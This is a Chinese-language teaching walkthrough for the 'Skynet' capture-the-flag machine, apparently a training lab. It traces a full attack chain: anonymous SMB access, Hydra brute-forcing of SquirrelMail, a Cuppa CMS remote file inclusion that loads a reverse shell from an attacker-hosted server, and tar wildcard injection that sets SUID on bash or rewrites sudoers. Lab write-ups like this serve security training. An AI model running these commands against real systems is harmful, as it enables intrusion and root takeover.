Skynet渗透测试教学文档
目标概述
Skynet是一台运行易受攻击的Terminator主题的Linux计算机,开放了SSH、HTTP、SMB、IMAP、POP3和NetBIOS六个端口。本教学将详细讲解如何从初始信息收集到最终获取root权限的完整渗透测试过程。
初始信息收集
端口扫描
使用nmap进行初始扫描发现开放端口:
nmap -sV -p- <目标IP>
发现开放服务:
- SSH (22)
- HTTP (80)
- SMB (445)
- IMAP (143)
- POP3 (110)
- NetBIOS (139)
Web服务枚举
-
访问HTTP服务:
http://<目标IP> -
使用Wappalyzer识别Web服务器版本:Apache 2.4.18
-
检查Searchsploit中该版本的漏洞:
searchsploit Apache 2.4.18发现无直接可利用漏洞
-
使用Gobuster进行目录扫描:
gobuster dir -u http://<目标IP> -w /usr/share/wordlists/dirb/common.txt发现/squirrelmail目录
SMB枚举
匿名访问检查
-
使用smbmap检查共享权限:
smbmap -H <目标IP>发现Anonymous共享允许匿名访问
-
递归列出共享内容:
smbmap -R anonymous -H <目标IP>发现attention.txt和logs目录
下载文件
- 使用smbclient连接:
smbclient //<目标IP>/anonymous - 下载文件:
get attention.txt cd logs get log1.txt get log2.txt get log3.txt
文件分析
-
attention.txt内容:
近期系统故障导致多处密码被更改。所有天网员工在看到此信息后,必须立即更改密码。提示用户名:Miles Dyson
-
log1.txt内容:
包含可能的密码列表(与《终结者》电影相关)
SquirrelMail暴力破解
-
访问SquirrelMail登录页面:
http://<目标IP>/squirrelmail -
使用Hydra进行暴力破解:
hydra -s 80 -l milesdyson -P logs/log1.txt <目标IP> http-post-form "/squirrelmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^&js_autodetect_results=0&just_logged_in=1:Unknown user or password incorrect." -f -
登录后查看邮件,发现密码重置邮件包含SMB密码
SMB认证访问
-
使用获得的凭证连接SMB:
smbclient //<目标IP>/milesdyson -U Milesdyson -
发现notes文件夹和important.txt文件:
cd notes get important.txt -
important.txt内容:
提醒自己需要使用特定路径/45kra24zxs28v3yd向beta CMS添加功能
Web目录深入
-
访问发现的隐藏目录:
http://<目标IP>/45kra24zxs28v3yd -
使用Gobuster扫描该目录:
gobuster dir -u http://<目标IP>/45kra24zxs28v3yd -w /usr/share/wordlists/dirb/common.txt发现/administrator目录
-
访问Cuppa CMS登录页面:
http://<目标IP>/45kra24zxs28v3yd/administrator
Cuppa CMS漏洞利用
-
搜索Cuppa CMS漏洞:
searchsploit Cuppa CMS发现远程文件包含(RFI)漏洞
-
利用步骤:
- 修改php反向shell脚本(设置IP和端口)
- 启动Python HTTP服务器:
python3 -m http.server 80 - 设置Netcat监听器:
nc -nvlp <监听端口> - 利用RFI获取反向shell:
http://<目标IP>/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://<攻击者IP>/reverse_shell.php
-
稳定获得的shell:
python3 -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm
权限提升
信息收集
-
下载并运行Linpeas:
wget http://<攻击者IP>/linpeas.sh chmod +x linpeas.sh ./linpeas.sh -
发现关键信息:
- /home/milesdyson/backups/backup.sh脚本
- 该脚本由root通过cron每分钟执行
备份脚本分析
backup.sh内容:
#!/bin/bash
cd /var/www/html
tar cf /home/milesdyson/backups/backup.tgz *
通配符注入攻击
-
创建恶意文件:
echo -e '#!/bin/bash\nchmod +s /bin/bash' > /var/www/html/root_shell.sh chmod +x /var/www/html/root_shell.sh touch "/var/www/html/--checkpoint-action=exec=sh root_shell.sh" touch "/var/www/html/--checkpoint=1" -
等待cron执行(最多1分钟)
-
检查/bin/bash权限:
ls -la /bin/bash应显示SUID位已设置(-rwsr-xr-x)
-
获取root shell:
/bin/bash -p
替代方法(修改sudoers)
-
创建恶意脚本:
echo 'echo "www-data ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > /var/www/html/pavan.sh chmod +x /var/www/html/pavan.sh -
创建触发文件:
touch "/var/www/html/--checkpoint-action=exec=sh pavan.sh" touch "/var/www/html/--checkpoint=1" -
等待执行后验证:
sudo -l sudo bash
总结
本渗透测试过程涵盖了从初始信息收集到最终权限提升的完整链条,关键点包括:
- SMB匿名访问的信息泄露
- SquirrelMail的暴力破解
- 通过SMB获取的凭证和提示信息
- Web目录的深入枚举
- Cuppa CMS的RFI漏洞利用
- 利用cron job和tar通配符注入进行权限提升
这种系统性的方法展示了如何将各个发现串联起来形成完整的攻击链,最终获取系统最高权限。